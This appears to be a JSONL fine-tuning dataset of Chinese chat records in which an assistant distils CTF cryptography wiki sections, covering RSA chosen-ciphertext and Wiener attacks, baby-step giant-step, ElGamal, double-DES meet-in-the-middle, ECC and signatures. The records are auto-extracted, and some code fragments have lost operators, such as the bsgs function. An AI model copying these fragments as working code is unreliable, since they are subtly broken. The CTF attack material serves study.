{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-d59246d7cc95b675516a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md` 中的章节「任意密文解密」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md`\n标题：RSA 选择明密文攻击\n章节：RSA 选择明密文攻击 > 任意密文解密\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 假设爱丽丝创建了密文 $C = P^e \\bmod n$ 并且把 C 发送给鲍勃，同时假设我们要对爱丽丝加密后的任意密文解密，而不是只解密 C，那么我们可以拦截 C，并运用下列步骤求出 P： 1. 选择任意的 $X\\in Z_n^{*}$，即 X 与 N 互素 2. 计算 $Y=C \\times X^e \\bmod n$ 3. 由于我们可以进行选择密文攻击，那么我们求得 Y 对应的解密结果 $Z=Y^d$ 4. 那么，由于 $Z=Y^d=(C \\times X^e)^d=C^d X=P^{ed} X= P X...\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-chosen-plain-cipher.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 300, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "任意密文解密", "heading_path": ["RSA 选择明密文攻击", "任意密文解密"], "original_id": "docs-504bb3bf3e234ba0e83b", "original_line": 230, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "source_root": "docs", "source_sha256": "533e2ebc164c0999a6dcbeff80e06752048928d69e096798072b5d973d6484d7", "split": "train", "split_group_key": "eb63b87ca13bbb3767cd4cc9", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-chosen-plain-cipher.md"], "title": "RSA 选择明密文攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-d7b88ed4016f2395b4b5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/lattice/overview.md` 中的章节「格概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/lattice/overview.md`\n标题：格概述\n章节：格概述\n路径分类：crypto / crypto/asymmetric/lattice\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“格概述”展开。\n- 3. 基于格的密码分析，即如何利用格理论分析一些已有的密码学算法，目前有如下研究 1.\n- 具体参见https://en.wikipedia.org/wiki/Lattice_(order)。\n- The Goldreich–Goldwasser–Halevi (GGH) cryptosystem 3.\n- Stereotyped messages with small RSA exponents 4. 如何基于格困难问题设计新的密码体制，这也是后量子密码时代的重要研究方向之一，目前有以下研究 1.\n- The Ajtai–Dwork cryptosystem and the LWE cryptosystem\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- lattice\n- overview.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 712, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "格概述", "heading_path": ["格概述"], "original_id": "docs-bc905bb928d3aa8755e4", "original_line": 228, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/overview.md", "source_root": "docs", "source_sha256": "f43d933dc657ea5754523d0b3863e2907a822dff98784443d7b608ead96e5edd", "split": "train", "split_group_key": "eb241578f1ef2f8b3a692235", "subcategory": "crypto/asymmetric/lattice", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "lattice", "overview.md"], "title": "格概述"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-d8355d49950536fe595c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/discrete-log.md` 中的章节「Baby-step giant-step」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/discrete-log.md`\n标题：离散对数\n章节：离散对数 > 离散对数求解方式 > Baby-step giant-step\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Baby-step giant-step”展开。\n- 这一方法通常被称为小步大步法，这一方法使用了中间相遇攻击的思想。\n- 因此 $$y=g^x=g^{im+j}$$ 也就是 $$y(g^{-m})^i=g^j$$ 那么我们就可以枚举所有的 j 并进行计算，并将其存储到一个集合 S 中，然后我们再次枚举 i，计算 $y(g^{-m})^i$，一旦我们发现计算的结果在集合 S 中，则说明我们得到了一个碰撞，进而得到了 i 和 j。\n- 我们可以令 $x=im+j$，其中 $m= \\lceil \\sqrt n\\rceil$ ，那么整数 i 和 j 都在 0 到 m 的范围内。\n- 这显然是一个时间与空间的折中的方式，我们将一个 $O(n)$ 的时间复杂度，$O(1)$ 空间复杂度的算法转换为了一个$O(\\sqrt n)$的时间复杂度和$O(\\sqrt n)$ 的空间复杂度的算法。\n- ``python def bsgs(g, y, p): m = int(ceil(sqrt(p - 1))) S = {pow(g, j, p): j for j in range(m)} gs = pow(g, p - 1 - m, p) for i in range(m): if y in S: return i m + S[y] y = y gs % p return None ``\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- discrete-log\n- discrete-log.md\n- code:python\n\n代码/命令片段线索：\n- python: 9 行，首行 `def bsgs(g, y, p):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 661, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "Baby-step giant-step", "heading_path": ["离散对数", "离散对数求解方式", "Baby-step giant-step"], "original_id": "docs-adbfc56e9545fd7944df", "original_line": 203, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/discrete-log.md", "source_root": "docs", "source_sha256": "12483417d69f6b25f640d4229054bf6914168d469d2259d1b5b0f1a3c915fe8d", "split": "train", "split_group_key": "5f77b9b84e5c04fcd0f3308f", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "discrete-log", "discrete-log.md", "code:python"], "title": "离散对数"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/discrete-log.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-d87d3eb3af79f91922f6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/elgamal.md` 中的章节「2015 MMA CTF Alicegame」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/elgamal.md`\n标题：ElGamal\n章节：ElGamal > 2015 MMA CTF Alicegame\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2015 MMA CTF Alicegame”展开。\n- 并且，利用如下函数加密 `python def encrypt(pk, m, r = None): (p, g, h) = pk if r is None: r = random.randrange(1, p-1) c1 = pow(g, r, p) c2 = (m pow(h, r, p)) % p return (c1, c2) ` 其加密方法确实是ElGamal方式的加密。\n- 其攻击主要是使用到了baby step-giant step 与 Pohlig-Hellman algorithm 算法，有兴趣的可以看看，这里sage本身自带的计算离散对数的函数已经可以处理这样的情况了，参见discrete_log 。\n- 我们在之前说过p-1必须有大素因子，如果有小的素因子的话，那我们就可以攻击了。\n- 分析一下，这里我们在十轮循环中可以控制m和r，并且 $c_1 \\equiv g^r \\bmod p$ $c_2 \\equiv m h^{r} \\bmod p$ 如果我们设置 1. r=1，m=1，那么我们就可以获得$c_1=g,c_2=h$ 。\n- 2. r=1，m=-1，那么我们就可以获得$c_1=g, c_2 = p-h$ 。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- discrete-log\n- elgamal.md\n- code:python\n\n代码/命令片段线索：\n- python: 1 行，首行 `(pk, sk) = genkey(PBITS)`\n- python: 8 行，首行 `def genkey(k):`\n- python: 7 行，首行 `def encrypt(pk, m, r = None):`\n- python: 60 行，首行 `from Crypto.Util.number import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2519, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2015 MMA CTF Alicegame", "heading_path": ["ElGamal", "2015 MMA CTF Alicegame"], "original_id": "docs-c63131e6ccbef7ac0562", "original_line": 11, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/elgamal.md", "source_root": "docs", "source_sha256": "a9e9e778c3fba70f90b0104997db1213f33093dead9989df94e7797cb31c8f07", "split": "train", "split_group_key": "bac7794f0d3aef6025421b1c", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "discrete-log", "elgamal.md", "code:python"], "title": "ElGamal"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/elgamal.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-dafb10e40a1a26cffcc2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「References」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击 > References\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“References”展开。\n- Extending Wiener's Attack in the Presence of Many Decrypting Exponents 并行LLL算法研究综述 Factoring Polynomials with Rational Coefficients A PARALLEL JACOBI-TYPE LATTICE BASIS REDUCTION ALGORITHM\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 459, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "References", "heading_path": ["扩展维纳攻击", "References"], "original_id": "docs-6714a26c93dc77ed4f63", "original_line": 302, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "2c91baa183983bf472aa6935", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-db5e2353f8fa6f18481a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/des.md` 中的章节「双重 DES」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/des.md`\n标题：DES\n章节：DES > 衍生 > 双重 DES\n路径分类：crypto / crypto/blockcipher/des.md\n分块：1/1\n\n核心知识点：\n- 加密方式如下 $C=E_{k2}(E_{k1}(P))$ 但是双重 DES 不能抵抗中间相遇攻击，我们可以构造如下两个集合 $I={E_{k1}(P)}$ $J=D_{k2}(C)$ 即分别枚举 K1 和 K2 分别对 P 进行加密和对 C 进行解密。\n- 在我们对 P 进行加密完毕后，可以对加密结果进行排序，这样的复杂度为$2^nlog(2^n)=O(n2^n)$ 当我们对 C 进行解密时，可以每解密一个，就去对应的表中查询。\n- 双重 DES 使用两个密钥，长度为 112 比特。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- blockcipher\n- des.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 266, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "双重 DES", "heading_path": ["DES", "衍生", "双重 DES"], "original_id": "docs-829fd5217849f83e37bd", "original_line": 320, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "source_root": "docs", "source_sha256": "cbcf7f36c02c6bc816fe0df275a1c9dcf3dce505e33f2e1d5574f202caffa303", "split": "train", "split_group_key": "1c87978d4faa8b85148f019b", "subcategory": "crypto/blockcipher/des.md", "terms": ["密码学", "漏洞利用", "crypto", "blockcipher", "des.md"], "title": "DES"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/des.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-dbd8fe61ea9b29267d27", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/ecc.md` 中的章节「基本知识」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/ecc.md`\n标题：ECC\n章节：ECC > 基本知识\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本知识”展开。\n- 一般定义椭圆曲线密码需要以下条件 假设E(Fp)对于点的运算$\\oplus$ 形成一个able群（交换群，逆元存在，封闭性等），设$p\\in E(Fq)$ ，且满足下列条件的t很大 $p \\oplus p \\oplus ... \\oplus p=O$ 其中共有t个p参与运算。\n- 此外，对于$Q\\in E(Fq)$ ，定有某个正整数m使得下列式子成立，定义$m=log_pq$ $Q=m\\cdot p =p \\oplus p \\oplus ... \\oplus p$ （m个p参与运算） 此外，假设G是该$E_q (a,b)$ 的生成元，即可以生成其中的所有元素，其阶为满足$nG=O$ 的最小正整数n。\n- 我们首先来了解一下有限域上的椭圆曲线，有限域上的椭圆曲线是指在椭圆曲线的定义式 $y^2+axy+by=x^3+cx^2+dx+e$ 中所有的系数都是在某个有限域GF(p)中的元素，其中p为一个大素数。\n- 当然，并不是所有的椭圆曲线都适合于加密，最为常用的方程如下 $y^2=x^3+ax+b$ 其中$4a^3+27b^2 \\bmod p \\neq 0$ 我们称该方程的所有解(x,y)，($x\\in Fp , y \\in Fp$)，以及一个称为“无穷远点”(O)组成的集合为定义在Fp上的一个椭圆曲线，记为E(Fp)。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- discrete-log\n- ecc.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 584, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "基本知识", "heading_path": ["ECC", "基本知识"], "original_id": "docs-a0105408d1166fb617a0", "original_line": 209, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/ecc.md", "source_root": "docs", "source_sha256": "62b16ba51279e7197c9f42e8ed4ed7911bae878fe5cf3186a6d08caf8185d0c3", "split": "train", "split_group_key": "f9d628b90e719b226dc829a1", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "crypto", "asymmetric", "discrete-log", "ecc.md"], "title": "ECC"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/ecc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-dcf2b3d5539884383c57", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「三个小解密指数的情况」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击 > 三个小解密指数的情况\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“三个小解密指数的情况”展开。\n- * 对于三个指数的情况我们额外选取$G_{1, 3}, W_1G_{2, 3}, W_2G_{1,3}$\n- $$B = \\begin{pmatrix} k_1k_2k_3&d_1gk_2k_3&k_1d_2gk_3&d_1d_2g^2k_3&k_1k_2d_3g&k_1d_3g&k_2d_3g&d_1d_2d_3g^3 \\end{pmatrix}$$\n- $$ L_3 = \\left(\\begin{array}{rrrrrrrr} 1 & -N & 0 & N^{2} & 0 & 0 & 0 & -N^{3} \\\\ 0 & e_{1} & -e_{1} & -N e_{1} & -e_{1} & 0 & N e_{1} & N^{2} e_{1} \\\\ 0 & 0 & e_{2} & -N e_{2} & 0 & N e_{2} & 0 & N^{2} e_{2} \\\\ 0 & 0 & 0 & e_{1} e_{2} & 0 & -e_{1} e_{2} &...\n- $$ D = diag(\\begin{array}{r} N^{\\frac{3}{2}}&N&N^{a + \\frac{3}{2}}&\\sqrt{N}&N^{a + \\frac{3}{2}}&N^{a + 1}&N^{a + 1}&1\\end{array}) $$\n- $$ \\Vert bL_2 \\Vert < \\sqrt{8}N^{3/2+2\\alpha_3} $$\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1018, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "三个小解密指数的情况", "heading_path": ["扩展维纳攻击", "三个小解密指数的情况"], "original_id": "docs-fb864a1f6a7d6ff50f26", "original_line": 296, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "026a1c5f5a82cdd93493babc", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-dd0d9bae5806bdf78cef", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_complex.md` 中的章节「2018 WCTF RSA」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_complex.md`\n标题：RSA 复杂题目\n章节：f.write(pubkey.exportKey()) > 2018 WCTF RSA\n路径分类：crypto / crypto/asymmetric/rsa\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“2018 WCTF RSA”展开。\n- 详细的利用代码请参见 ctf-challenge 仓库。\n- `shell g++ exp2.cpp -std=c++11 -o main2 -lgmp -lcrypto -pthread ``\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-complex.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `其实，我们在真正得到 p 或者 q 的一部分后，另外一部分完全可以使用暴力枚举的方式获取，因为计算量几乎都是一样的，最后结果为`\n- plain: 3 行，首行 `最后我们便拿到 flag 了。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1992, "chunk_count": 2, "chunk_index": 1, "ctf_score": 30, "ctf_task_type": "crypto", "heading": "2018 WCTF RSA", "heading_path": ["f.write(pubkey.exportKey())", "2018 WCTF RSA"], "original_id": "docs-659c552cdf39d1bc0392", "original_line": 245, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "source_root": "docs", "source_sha256": "d9008d752e1cf4491d9a9862bd11a546f5272f7474e5acb6216197f1d6d7347c", "split": "train", "split_group_key": "313495594e092d46a8a2621f", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-complex.md"], "title": "RSA 复杂题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-dd7e1a68fd6ee6c512f5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_complex.md` 中的章节「2018 WCTF RSA」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_complex.md`\n标题：RSA 复杂题目\n章节：f.write(pubkey.exportKey()) > 2018 WCTF RSA\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“2018 WCTF RSA”展开。\n- 通过简单逆向这个 generator，我们可以发现这个程序是这么工作的 - 利用用户给定的 license（32 个字节），迭代解密某个固定位置之后的数据，每 32 个字节一组，与密钥相异或得到结果。\n- 在生成的 exe 中，我们分析出程序的基本流程为 1. 读取 license 2. 使用 license 作为 seed 分别生成 pq 3. 利用 p，q 生成 n，e，d。\n- 进而，我们可以枚举所有的可能性，首先计算出 b 可能的集合为 S，同时我们使用中间相遇攻击，计算 $n/d \\equiv b \\bmod 2^{512}$ 这里由于 b 和 d 都是 p 的尾数，所以一定不会是 2 的倍数，进而必然存在逆元。\n- 密钥的生成方法为 - $k_1=key$ - $k_2 =sha256(k_1)$ - ... - $k_n=sha256(k_{n-1})$ 其中，固定位置就是在找源文件 generator 中第二次出现 ENCRYPTED 的位置，然后再次偏移 32 个字节。\n- while ( strncmp(&file_contents[v9], _ENCRYPT_STR, ENCRYPTED_LEN) );\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-complex.md\n- code:python\n\n代码/命令片段线索：\n- plain: 7 行，首行 `Description:`\n- python: 24 行，首行 `_ENCRYPT_STR = ENCRYPTED_STR;`\n- python: 2 行，首行 `sha512(const1|const2|const3|const4|const5|const6|const7|const8|v9)`\n- plain: 20 行，首行 `b64: 9646799660ae61bd idx_b: 683101175 idx_d: 380087137`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4247, "chunk_count": 2, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2018 WCTF RSA", "heading_path": ["f.write(pubkey.exportKey())", "2018 WCTF RSA"], "original_id": "docs-b9193b7aaaa6feac56c5", "original_line": 244, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "source_root": "docs", "source_sha256": "d9008d752e1cf4491d9a9862bd11a546f5272f7474e5acb6216197f1d6d7347c", "split": "train", "split_group_key": "313495594e092d46a8a2621f", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-complex.md", "code:python"], "title": "RSA 复杂题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-e0bd753ca3e0dc0a135e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/introduction.md` 中的章节「数字签名」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/introduction.md`\n标题：数字签名\n章节：数字签名\n路径分类：crypto / crypto/signature/introduction.md\n分块：1/1\n\n核心知识点：\n- 数字签名依赖于非对称密码，因为我们必须确保一方能够做的事情，而另一方不能够做出这样的事情。\n- 其基本原理如下 [图片文件: ./figure/Digital_Signature_diagram.png] 数字签名应当具有以下几个特性： (1) 签名是可信的：任何人都可以验证签名的有效性。\n- 在日常生活中，我们在参加某个活动的时候，可能会需要签名，以便于证明我们确实到场了，，，防止导员啥的，你懂得。\n- 在计算机世界中，我们可能会需要电子签名，因为我们大多数情况下会使用电子文件，那这时候怎么办呢？\n- 数字签名（digital signature）主要用于对数字消息（digital message）进行签名，以防消息的冒名伪造或篡改，亦可以用于通信双方的身份鉴别。\n- 如果对一个消息的签名是从别处复制得到的，则任何人都可以发现消息与签名之间的不一致性，从而可以拒绝签名的消息。\n\n关键术语：\n- 密码学\n- crypto\n- signature\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 698, "chunk_count": 1, "chunk_index": 0, 